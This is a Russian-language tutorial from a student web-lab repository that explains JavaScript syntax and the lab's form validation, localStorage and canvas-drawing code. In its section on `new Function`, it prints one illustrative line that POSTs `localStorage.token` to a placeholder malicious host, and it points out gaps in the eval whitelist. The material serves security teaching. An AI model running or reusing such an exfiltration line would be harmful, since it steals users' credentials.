Files
Web-Lab-1/docs/js-guide.md
T
2026-10-20 12:58:34 +03:00

910 lines
40 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Гайд по JavaScript на примере этого проекта
Этот гайд объясняет синтаксис JS и то, как работает именно `script.js` из Лабораторной №1.
Всё по порядку: сначала базовый синтаксис, потом разбор проекта блок за блоком.
---
## 0. Как вообще всё запускается
В `index.html` в самом конце есть строка:
```html
<script src="script.js"></script>
```
Это значит:
1. Браузер читает HTML сверху вниз и строит **DOM** — дерево объектов из твоих тегов.
2. Доходит до `<script>` в конце `<body>` — все теги уже существуют.
3. Загружает `script.js` и **выполняет его сверху вниз**, как список инструкций.
Именно поэтому скрипт подключён в конце, а не в `<head>`: код в первой строке
`document.getElementById('graphCanvas')` сразу ищет `<canvas>`, и тег обязан
уже быть в DOM. Если бы `<script>` стоял в `<head>`, то `canvas` был бы `null`
и всё упало бы на второй строке.
**Где смотреть ошибки:** F12 → вкладка Console. Там же можно писать JS руками —
например, напечатай `history` и увидишь текущий массив истории.
---
## 1. Переменные: `const`, `let`, (и `var` — не используй)
```js
const canvas = document.getElementById('graphCanvas'); // нельзя переприсвоить
let history = []; // можно переприсвоить
```
| Ключевое слово | Переприсвоение | Где живёт |
|---|---|---|
| `const` | ❌ запрещено | внутри `{ }`, где объявлена |
| `let` | ✅ разрешено | внутри `{ }`, где объявлена |
| `var` | ✅ разрешено | во всей функции (устаревшее, путает) |
Важный нюанс, который многих ломает: `const` запрещает **переприсвоить саму
переменную**, но не запрещает менять содержимое объекта или массива.
```js
const arr = [];
arr.push(1); // ✅ можно — массив тот же, просто внутри стало больше
arr = [1, 2]; // ❌ ошибка — пытаемся подсунуть другой массив
```
В проекте `history` объявлена через `let`, потому что при очистке её **заменяют
целиком**:
```js
history = []; // строка 51 — вот из-за этого нужен let
```
> ⚠️ Кстати, `history` — неудачное имя: в браузере уже есть глобальный
> `window.history` (кнопки «назад/вперёд»). Здесь локальная переменная его
> перекрывает. Работает, но в своём коде лучше назвать `records` или `hits`.
---
## 2. Типы данных
В JS всего несколько базовых типов, с которыми ты тут встретишься:
```js
const num = 2.5; // number — одно число на все случаи (целые и дробные)
const str = 'Попадание'; // string — строка
const bool = true; // boolean — true / false
const nothing = null; // «осознанно пусто»
let notSet; // undefined — «значение не задано»
```
Два особых значения, которые встречаются в коде:
- `NaN` («Not a Number») — результат неудачной математики. `Number('абв')` даёт `NaN`.
Проверяется только функцией `isNaN(x)`, потому что `NaN === NaN` — это `false`.
- `null` vs `undefined`: `getElementById` вернёт `null`, если элемента нет.
`undefined` — если переменную объявили, но не присвоили.
### Массив
Упорядоченный список. Нумерация с нуля.
```js
const validR = [1, 2, 3, 4, 5];
validR[0]; // 1
validR.length; // 5
validR.includes(3); // true — «есть ли такой элемент?»
```
`includes` в проекте используется для проверки допустимых значений:
```js
if (![1, 2, 3, 4, 5].includes(rec.r)) return false;
```
### Объект
Набор пар «ключ: значение». Так в проекте хранится одна проверка точки:
```js
const rec = {
x: 1,
y: 2.5,
r: 3,
hit: true,
time: '20 октября 2026 г., 14:30:00'
};
rec.x; // 1 — доступ через точку
rec['x']; // 1 — то же самое, если имя ключа в переменной
rec.hit = false; // изменение
```
---
## 3. Операторы и сравнения
```js
x + y // сложение (для строк — склейка: 'a' + 'b' === 'ab')
x * x // умножение
x / 2 // деление
x ** 2 // возведение в степень
```
### `===` против `==`
**Всегда используй `===`.** Он сравнивает и значение, и тип.
```js
'2' == 2 // true — == тайно приводит типы, это источник багов
'2' === 2 // false — разные типы, честный ответ
2 === 2 // true
```
`!==` — «не равно» в строгом виде. В проекте: `rec.y !== 81`.
### Логика
```js
a && b // И — оба true
a || b // ИЛИ — хотя бы один true
!a // НЕ — переворачивает
```
Пример из `validateY` — проверка, что Y вне диапазона и это не пасхалка:
```js
if ((y < -3 || y > 5) && y !== 81) { ... }
```
Читается так: «если (Y меньше −3 ИЛИ больше 5) И при этом Y не равен 81».
Скобки обязательны, иначе приоритет операторов даст другой смысл.
### Truthy / falsy
`if` принимает не только `true`/`false`, а любое значение и превращает его в
логическое. **Falsy** (считаются «ложью»): `false`, `0`, `''`, `null`,
`undefined`, `NaN`. Всё остальное — truthy.
```js
if (!currentR) { ... } // строка 109: «если R не выбран»
```
Работает потому, что `currentR` изначально `null`. Но осторожно: `0` тоже falsy.
Здесь это безопасно только потому, что R всегда от 1 до 5. Будь в наборе R = 0 —
код бы ошибочно считал его «не выбранным». Правильнее было бы
`if (currentR === null)`.
### Тернарный оператор
Короткая запись `if/else`, которая **возвращает значение**:
```js
условие ? значение_если_да : значение_если_нет
```
Из `drawGraph`:
```js
const R_PIXELS = currentR ? (100 * currentR / 3) : 100;
ctx.fillStyle = rec.hit ? '#4CAF50' : '#F44336';
```
---
## 4. Функции
Три записи, все три есть в проекте.
### Обычное объявление
```js
function checkHit(x, y, r) {
return true;
}
```
`x, y, r` — параметры. `return` отдаёт результат и **немедленно выходит** из
функции. Такие функции «всплывают» (hoisting): их можно вызвать до строки, где
они объявлены. Поэтому в проекте `drawGraph()` вызывается на строке 54, хотя
объявлена она на 352-й — и это работает.
### Параметр по умолчанию
```js
function validateY(showErrors = false) { ... }
```
Если вызвать `validateY()` — внутри `showErrors` будет `false`.
Если `validateY(true)` — будет `true`.
Это ключевая идея валидации в проекте: **одна и та же функция** и молча проверяет
форму при каждом нажатии клавиши, и громко показывает ошибки при отправке.
### Стрелочная функция
```js
() => { ... } // без аргументов
(x, y, r) => func(x, y, r, r) // короткая форма: return подразумевается
btn => btn.value // один аргумент — скобки можно опустить
```
Короткая форма без `{ }` возвращает результат выражения автоматически.
Эти две записи идентичны:
```js
(a, b) => a + b
(a, b) => { return a + b; }
```
Стрелочные функции в проекте используются там, где функция передаётся
куда-то как аргумент — в обработчики событий и в `forEach`.
---
## 5. Поиск элементов и работа с DOM
```js
document.getElementById('y-input') // ОДИН элемент по id, или null
document.querySelectorAll('.r-button') // ВСЕ по CSS-селектору
document.querySelectorAll('input[name="xval"]') // все чекбоксы X
```
`querySelectorAll` принимает любой CSS-селектор и возвращает `NodeList` —
похож на массив, можно перебирать `forEach` и брать `.length`.
### Чтение и запись
```js
yInput.value // что пользователь ввёл (всегда СТРОКА!)
cb.checked // true/false для чекбокса
yError.textContent = 'Ошибка' // текст внутри элемента (безопасно)
tr.innerHTML = '<td>1</td>' // HTML внутри элемента (парсится как разметка)
submitBtn.disabled = true // отключить кнопку
btn.getAttribute('data-val') // прочитать любой атрибут, тоже строка
```
**Главная ловушка:** `input.value` — это всегда строка, даже у `type="number"`.
Поэтому в коде везде стоит преобразование:
```js
const y = parseFloat(yInput.value.trim().replace(',', '.'));
```
Разбираем цепочку справа налево по порядку вызовов:
1. `.value` → `" 2,5 "` (строка как есть)
2. `.trim()` → `"2,5"` (убрали пробелы по краям)
3. `.replace(',', '.')` → `"2.5"` (русская запятая → точка, JS понимает только точку)
4. `parseFloat(...)` → `2.5` (число)
Это **цепочка методов**: каждый возвращает новое значение, у которого сразу
вызывается следующий метод.
### `parseFloat` vs `Number`
```js
Number('2.5abc') // NaN — строгий, вся строка должна быть числом
parseFloat('2.5abc') // 2.5 — читает с начала, пока получается
Number('') // 0 (!) — коварно
```
В `validateY` стоит `Number`, потому что там нужна строгость: «буквы
недопустимы». А после успешной валидации уже можно `parseFloat` — значение
проверено.
### Классы и стили
```js
btn.classList.add('active'); // добавить CSS-класс
btn.classList.remove('active'); // убрать
```
CSS в `index.html` уже описывает, как выглядит `.r-button.active` (серый фон,
белый текст). JS только переключает класс — **внешний вид остаётся в CSS**.
Это правильный подход: не трогать стили из JS напрямую.
---
## 6. Циклы и перебор
### `forEach` — основной инструмент проекта
```js
rButtons.forEach(btn => {
// здесь btn — каждая кнопка по очереди
});
```
`forEach` принимает функцию и вызывает её для каждого элемента. Ничего не
возвращает — используется ради побочных действий (навесить обработчик,
нарисовать точку, положить запись в массив).
### `filter` — отбор
```js
history = rawData.filter(rec => {
if (typeof rec !== 'object') return false; // выбросить
return true; // оставить
});
```
Возвращает **новый массив** только из тех элементов, для которых функция вернула
truthy. Исходный массив не меняется.
### Обычный `for` — когда нужны индексы
В `drawGraph` рисование пользовательской функции идёт попиксельно, и нужны
именно номера пикселей:
```js
for (let py = 0; py < height; py++) {
for (let px = 0; px < width; px++) {
// ...
}
}
```
Три части: `let py = 0` — старт; `py < height` — условие продолжения;
`py++` — шаг (`py++` это то же, что `py = py + 1`).
Вложенный цикл = `300 × 300 = 90 000` итераций на каждую перерисовку.
### Spread `...` — копия массива
```js
[...history].reverse()
```
`reverse()` переворачивает массив **на месте**, портя оригинал. `[...history]`
сначала создаёт поверхностную копию, и переворачивается уже она. Так таблица
показывает новые записи сверху, а сам `history` остаётся в порядке добавления —
что важно, потому что именно в этом порядке он уходит в `localStorage`.
---
## 7. События — как код реагирует на пользователя
Весь интерактив строится на одной конструкции:
```js
элемент.addEventListener('событие', функция);
```
«Когда на этом элементе случится такое событие — вызови эту функцию».
Какие события используются в проекте:
| Событие | Где | Когда срабатывает |
|---|---|---|
| `DOMContentLoaded` | `window`, стр. 47 | HTML разобран, DOM готов |
| `click` | кнопки R, «Отрисовать», «Очистить» | нажатие |
| `change` | чекбоксы X | галочка поставлена/снята |
| `input` | поля Y и функции | каждый введённый символ |
| `submit` | `<form>` | отправка формы |
### Разбор обработчика кнопок R (строки 62–74)
```js
rButtons.forEach(btn => {
btn.addEventListener('click', () => {
rButtons.forEach(b => b.classList.remove('active')); // снять выделение со всех
btn.classList.add('active'); // выделить нажатую
rHidden.value = btn.getAttribute('data-val'); // записать в скрытое поле
currentR = parseFloat(rHidden.value); // и в переменную как число
if (formSubmitted) rError.textContent = ''; // стереть старую ошибку
validateForm();
drawGraph();
});
});
```
Здесь два уровня вложенности, и это стоит понять:
- Внешний `forEach` выполняется **один раз при загрузке** и навешивает
обработчик на каждую из 5 кнопок.
- Внутренняя стрелочная функция выполняется **позже, при каждом клике**.
Внутренняя функция «помнит» переменную `btn` своей кнопки, хотя внешний цикл
давно закончился. Это называется **замыкание** (closure) — функция сохраняет
доступ к переменным того места, где была создана. Работает это потому, что `btn`
объявлена через `let`/параметр: у каждой итерации своя копия. С `var` все пять
обработчиков ссылались бы на одну переменную и ломались — классический баг.
### `submit` и `preventDefault`
```js
form.addEventListener('submit', (e) => {
e.preventDefault();
// ...
});
```
`e` — объект события, браузер передаёт его автоматически.
`e.preventDefault()` отменяет стандартное поведение: по умолчанию форма
перезагрузила бы страницу и всё состояние потерялось бы. Без этой строки
приложение не работало бы вообще.
---
## 8. `try / catch` — работа с тем, что может сломаться
```js
try {
const rawData = JSON.parse(localStorage.getItem(STORAGE_KEY));
// ...
} catch (e) {
history = [];
}
```
Логика: «попробуй выполнить блок `try`; если внутри произойдёт ошибка — не
падай, а перейди в `catch`». `e` — объект ошибки, у него есть `e.message`
с текстом.
Ошибку можно создать самому:
```js
throw new Error('Недопустимые символы в функции');
```
`throw` прерывает функцию и «выбрасывает» ошибку наружу, где её поймает
ближайший `catch`. Так устроен `parseFunction`: он не возвращает код ошибки,
а бросает исключение, а вызывающий код решает, что делать:
```js
try {
customFunction = parseFunction(funcStr);
funcError.textContent = '';
drawGraph();
} catch (e) {
funcError.textContent = e.message; // показать текст пользователю
customFunction = null;
}
```
---
## 9. `localStorage` — сохранение между перезагрузками
Хранилище «ключ → значение» в браузере. Живёт после закрытия страницы.
**Хранит только строки.**
```js
localStorage.setItem('key', 'строка');
localStorage.getItem('key'); // строка или null, если ключа нет
localStorage.removeItem('key');
```
Чтобы положить массив объектов, его сериализуют в JSON:
```js
localStorage.setItem(STORAGE_KEY, JSON.stringify(history)); // объект → строка
const data = JSON.parse(localStorage.getItem(STORAGE_KEY)); // строка → объект
```
`JSON.parse` **бросает ошибку** на испорченной строке — поэтому он обёрнут
в `try/catch`.
### Почему данные перепроверяются
```js
history = rawData.filter(rec => {
if (typeof rec !== 'object' || rec === null) return false;
if (![1, 2, 3, 4, 5].includes(rec.r)) return false;
// ...
});
```
`localStorage` открыт пользователю: любой может зайти в DevTools и записать
туда что угодно. Данные оттуда — **недоверенный ввод**, ровно как данные с
сервера. Поэтому каждая запись проверяется по полям, а битые выбрасываются.
Это правильная привычка, не паранойя.
Здесь же проявляется `typeof`:
```js
typeof 5 // 'number'
typeof 'текст' // 'string'
typeof {} // 'object'
typeof null // 'object' ← историческая ошибка языка!
```
Из-за последней строки проверка написана как
`typeof rec !== 'object' || rec === null` — одного `typeof` не хватает.
---
## 10. Canvas — рисование графика
`<canvas>` — холст пикселей. Из JS берётся «контекст» — объект с командами
рисования:
```js
const ctx = canvas.getContext('2d');
```
### Система координат
Начало координат canvas — **левый верхний угол**, ось Y направлена **вниз**.
Математическая ось Y смотрит вверх. Отсюда вся арифметика перевода:
```js
const center = width / 2; // 150 — центр холста
let drawX = center + (rec.x / rec.r) * R_PIXELS; // + : вправо = плюс
let drawY = center - (rec.y / rec.r) * R_PIXELS; // − : вверх = МИНУС в пикселях
```
Деление на `rec.r` нормализует точку: точка (2, 2) при R = 2 и точка (5, 5) при
R = 5 нарисуются в одном месте, потому что относительно своего R они одинаковы.
### Основные команды
```js
ctx.clearRect(0, 0, width, height); // стереть всё
ctx.fillStyle = '#3399FF'; // цвет заливки
ctx.fillRect(x, y, ширина, высота); // залитый прямоугольник
ctx.beginPath(); // начать новый контур
ctx.moveTo(x, y); // перенести «перо» без линии
ctx.lineTo(x, y); // линия до точки
ctx.arc(x, y, радиус, отУгла, доУгла); // дуга, углы в РАДИАНАХ
ctx.closePath(); // замкнуть контур
ctx.fill(); // залить
ctx.strokeStyle = '#000'; // цвет линии
ctx.stroke(); // обвести
ctx.font = '12px Arial';
ctx.fillText('R', x, y); // текст
```
Ключевая идея: `beginPath()` → набор `moveTo`/`lineTo`/`arc` → `fill()` или
`stroke()`. Без `beginPath()` новые линии дорисуются к старому контуру и зальются
вместе с ним — очень частый баг.
Четверть круга:
```js
ctx.arc(center, center, R_PIXELS, -Math.PI / 2, 0, false);
```
Углы в радианах: `-Math.PI / 2` = −90° (верх), `0` = 0° (право). Вместе с
`moveTo(center, center)` и `closePath()` получается сектор, а не просто дуга.
### Попиксельная отрисовка пользовательской функции
Фигуры варианта (прямоугольник, сектор, треугольник) можно нарисовать готовыми
командами. Произвольную функцию — нельзя, её форма неизвестна. Поэтому код
проверяет **каждый пиксель отдельно**:
```js
const imageData = ctx.createImageData(width, height);
const data = imageData.data; // плоский массив длиной width*height*4
for (let py = 0; py < height; py++) {
for (let px = 0; px < width; px++) {
const x = ((px - center) / R_PIXELS) * currentR; // пиксель → математика
const y = ((center - py) / R_PIXELS) * currentR;
const hit = checkHit(x, y, currentR);
const index = (py * width + px) * 4; // позиция пикселя в плоском массиве
if (hit) {
data[index] = 51; // R
data[index + 1] = 153; // G
data[index + 2] = 255; // B
data[index + 3] = 255; // Alpha (прозрачность)
} else {
data[index] = 255; data[index + 1] = 255;
data[index + 2] = 255; data[index + 3] = 255;
}
}
}
ctx.putImageData(imageData, 0, 0); // вывести на холст одним разом
```
`data` — одномерный массив, где каждый пиксель занимает 4 ячейки (RGBA).
Формула `(py * width + px) * 4` переводит двумерные координаты в плоский индекс:
«пропустить `py` полных строк, потом `px` пикселей, умножить на 4 байта».
---
## 11. `new Function` — и почему это опасно
```js
const func = new Function('x', 'y', 'r', 'R', `return ${normalized};`);
```
Это создание функции **из строки во время работы программы**. Первые аргументы —
имена параметров, последний — тело.
Здесь же используется **шаблонная строка** — обратные кавычки `` ` ``
с подстановкой `${выражение}`:
```js
const name = 'мир';
`Привет, ${name}!` // 'Привет, мир!'
```
В `renderHistory` тем же приёмом собирается строка HTML на несколько строк —
обычные кавычки так не умеют.
### В чём опасность
`new Function` исполняет произвольный код — как `eval`. Строка
`fetch('http://злой.сайт', {method:'POST', body: localStorage.token})` была бы
выполнена браузером. В проекте перед этим стоит защита:
```js
const allowedChars = /^[xyrRMathabsincoqrt.()+\-*/<>=\s\d.]+$/;
if (!allowedChars.test(normalized)) {
throw new Error('Недопустимые символы в функции');
}
```
Это **регулярное выражение** (regex) — шаблон для проверки строк:
- `/.../` — границы регулярки
- `^` — начало строки, `$` — конец (значит, проверяется строка целиком)
- `[...]` — набор разрешённых символов
- `\d` — любая цифра, `\s` — пробел
- `+` — «один или больше таких символов»
- `\-`, `\*`, `\/` — экранирование: символы со спецсмыслом помечаются `\`
- `.test(строка)` → `true` / `false`
Перед этим идёт нормализация — человеческая запись переводится в JS:
```js
const normalized = funcStr.trim()
.replace(/abs\(/g, 'Math.abs(') // abs( → Math.abs(
.replace(/sin\(/g, 'Math.sin(')
.replace(/\^/g, '**'); // ^ → ** (степень в JS)
```
Флаг `g` (global) в `/abs\(/g` означает «заменить все вхождения», а не только
первое.
Потом функция проверяется пробным вызовом, чтобы синтаксическая ошибка вылезла
сразу, а не при отрисовке:
```js
func(0, 0, 1, 1);
return (x, y, r) => func(x, y, r, r); // обёртка: r и R — одно и то же
```
Последняя строка — функция, которая возвращает функцию. Снаружи удобно звать
`customFunction(x, y, r)` тремя аргументами, а внутри `r` подставляется дважды,
чтобы работали оба написания — и `r`, и `R`.
> ⚠️ Честно про эту защиту: белый список символов узкий, но не идеальный —
> набор `[xyrRMathabsincoqrt]` разрешает любые комбинации этих букв.
> Для лабораторной работы, которая крутится только в твоём браузере, это
> нормально. На настоящем сайте с чужим вводом так делать нельзя — нужен
> настоящий парсер математических выражений.
---
## 12. Как устроена вся логика проекта
### Глобальное состояние
Четыре переменные держат всё, что программа «знает» о текущем моменте:
```js
let history = []; // массив всех проверок
let currentR = null; // выбранный R, null пока не выбран
let formSubmitted = false; // была ли хоть одна отправка
let customFunction = null; // активная пользовательская функция
```
`formSubmitted` решает тонкую задачу UX: ошибки нельзя показывать пользователю,
который ещё ничего не отправлял — иначе пустая форма сразу краснеет. Но после
первой отправки ошибки уже показаны, и их надо гасить при правке поля:
```js
yInput.addEventListener('input', () => {
if (formSubmitted) yError.textContent = '';
validateForm();
});
```
### Валидация: один набор правил, два режима
```
validateForm(showErrors)
├── validateY(showErrors) → Y заполнен, число, в диапазоне
├── validateFunction(showErrors) → функция парсится (пустая = ок)
├── проверка R → выбран и из списка [1..5]
├── проверка X → хотя бы один и все из списка
└── submitBtn.disabled = !isValid
```
Вызывается в двух режимах:
- `validateForm()` — после каждого действия. Молча включает/выключает кнопку.
- `validateForm(true)` — при отправке. Пишет текст ошибок в `<span class="error">`.
Паттерн «накопления» флага внутри:
```js
let isValid = true;
if (!validateY(showErrors)) isValid = false;
if (!validateFunction(showErrors)) isValid = false;
```
Так проверяются **все** поля и показываются **все** ошибки сразу. Если бы вместо
этого стоял `return false` на первой же ошибке, пользователь видел бы их по
одной — хуже.
Отдельно стоит заметить двойную проверку R и X: сначала «выбрано ли», потом
«допустимо ли значение». Второе — защита от подмены: `data-val` и `value`
в HTML можно отредактировать через DevTools, поэтому значения сверяются с
белым списком в JS.
### Проверка попадания
```js
function checkHit(x, y, r) {
if (customFunction) { /* пользовательская функция вместо фигур */ }
if (x >= 0 && y >= 0) return (x*x + y*y) <= (r*r); // I: четверть круга
if (x <= 0 && y >= 0) return x >= -r && y <= (r/2); // II: прямоугольник
if (x <= 0 && y <= 0) return false; // III: пусто
if (x >= 0 && y <= 0) return y >= (x/2) - (r/2); // IV: треугольник
return false;
}
```
Здесь важен **порядок**: `return` выходит сразу, поэтому `if` работают как
`else if`. Точка (0, 0) попадает в первое же условие и дальше не идёт —
границы четвертей не конфликтуют именно из-за раннего выхода.
Треугольник: прямая через `(r, 0)` и `(0, -r/2)` имеет уравнение
`y = x/2 - r/2`. Точка внутри, если она **выше** этой прямой: `y >= x/2 - r/2`.
Одна и та же `checkHit` используется и для таблицы, и для попиксельной
отрисовки. Поэтому график **всегда совпадает** с результатами — нет двух
независимых реализаций, которые могли бы разойтись. Это главная архитектурная
идея проекта: правило живёт в одном месте.
### Полный поток при отправке формы
```
1. e.preventDefault() — не перезагружать страницу
2. formSubmitted = true
3. validateForm(true) — не прошло → выход
4. y === 81? — пасхалка: показать картинку, выход
5. parseFunction(funcStr) — обновить customFunction
6. new Date().toLocaleString(...) — метка времени, одна на всю отправку
7. по каждому отмеченному X:
checkHit(x, y, r) → history.push({x, y, r, hit, time})
8. localStorage.setItem(...) — сохранить
9. renderHistory() — перерисовать таблицу
10. drawGraph() — перерисовать график
```
Пункт 7 — причина, по которой чекбоксы, а не радиокнопки: один submit может
создать до девяти записей сразу, по одной на каждый отмеченный X.
### Дата и время
```js
new Date().toLocaleString("ru-RU", {
timeZone: Intl.DateTimeFormat().resolvedOptions().timeZone,
year: 'numeric', month: 'long', day: 'numeric',
hour: '2-digit', minute: '2-digit', second: '2-digit'
});
```
`new Date()` — текущий момент. `toLocaleString` форматирует его по правилам
локали: `"ru-RU"` даёт «20 октября 2026 г.», а не «10/20/2026».
`Intl.DateTimeFormat().resolvedOptions().timeZone` достаёт часовой пояс
пользователя — цепочка вызовов, где каждый шаг возвращает объект для следующего.
### Рендер таблицы
```js
function renderHistory() {
resultsBody.innerHTML = ''; // стереть всё
[...history].reverse().forEach(rec => {
const tr = document.createElement('tr'); // создать <tr>
tr.innerHTML = `
<td>${rec.x}</td>
...
`;
resultsBody.appendChild(tr); // вставить в DOM
});
}
```
Стратегия простая: «стереть всё и нарисовать заново». Для сотни строк это
абсолютно нормально и гораздо понятнее, чем точечные обновления.
> ⚠️ `innerHTML` с подстановкой данных — потенциальная XSS-уязвимость: если бы
> в `rec.x` попала строка `<img onerror=...>`, браузер её исполнил бы. Здесь
> безопасно, потому что все поля прошли фильтр и гарантированно числа.
> Для текстовых данных нужен `textContent`, который ничего не парсит.
---
## 13. Что попробовать прямо сейчас
Открой страницу, нажми F12 → Console и поэкспериментируй:
```js
history // текущий массив проверок
history.length // сколько записей
currentR // выбранный R
checkHit(1, 1, 3) // проверить точку руками
checkHit(0, 0, 1) // граница — попадает?
currentR = 5; drawGraph(); // поменять R «мимо» кнопок
localStorage.getItem('web_lab1_history') // что лежит в хранилище
document.querySelectorAll('.r-button').length // 5
document.getElementById('y-input').value = '2' // вписать Y из консоли
```
Полезные упражнения для понимания:
1. Закомментируй `e.preventDefault()` в обработчике `submit` — посмотри, что
страница перезагружается и всё состояние теряется.
2. Поменяй `if (formSubmitted)` на `if (true)` в обработчике `input` поля Y —
увидишь, зачем нужен этот флаг.
3. Введи в поле функции `x^2 + y^2 < R^2` и нажми «Отрисовать» — увидишь
попиксельную отрисовку круга.
4. Запиши в `localStorage` мусор через DevTools (`Application → Local Storage`)
и перезагрузи — фильтр должен его отбросить, а страница не упасть.
---
## 14. Шпаргалка
```js
// Переменные
const x = 1; let y = 2;
// Условия
if (a === b) { } else if (c) { } else { }
const r = cond ? 'да' : 'нет';
// Функции
function f(a, b = 0) { return a + b; }
const g = (a) => a * 2;
// Массивы
arr.push(x); arr.length; arr.includes(x);
arr.forEach(el => { }); arr.filter(el => cond); [...arr];
// Объекты
const o = { key: 'val' }; o.key; o.key = 'new';
// DOM
document.getElementById('id');
document.querySelectorAll('.class');
el.value; el.checked; el.textContent; el.innerHTML;
el.classList.add('x'); el.classList.remove('x');
el.addEventListener('click', () => { });
// Строки → числа
parseFloat('2.5'); Number('2.5'); isNaN(x);
str.trim(); str.replace(',', '.');
// Ошибки
try { } catch (e) { e.message }
throw new Error('текст');
// Хранилище
localStorage.setItem(k, JSON.stringify(v));
JSON.parse(localStorage.getItem(k));
// Шаблонные строки
`значение: ${x}`
```
---
## Ссылки
- [MDN JavaScript (рус.)](https://developer.mozilla.org/ru/docs/Web/JavaScript) — официальная документация
- [learn.javascript.ru](https://learn.javascript.ru/) — лучший учебник на русском
- [MDN Canvas API](https://developer.mozilla.org/ru/docs/Web/API/Canvas_API/Tutorial) — про рисование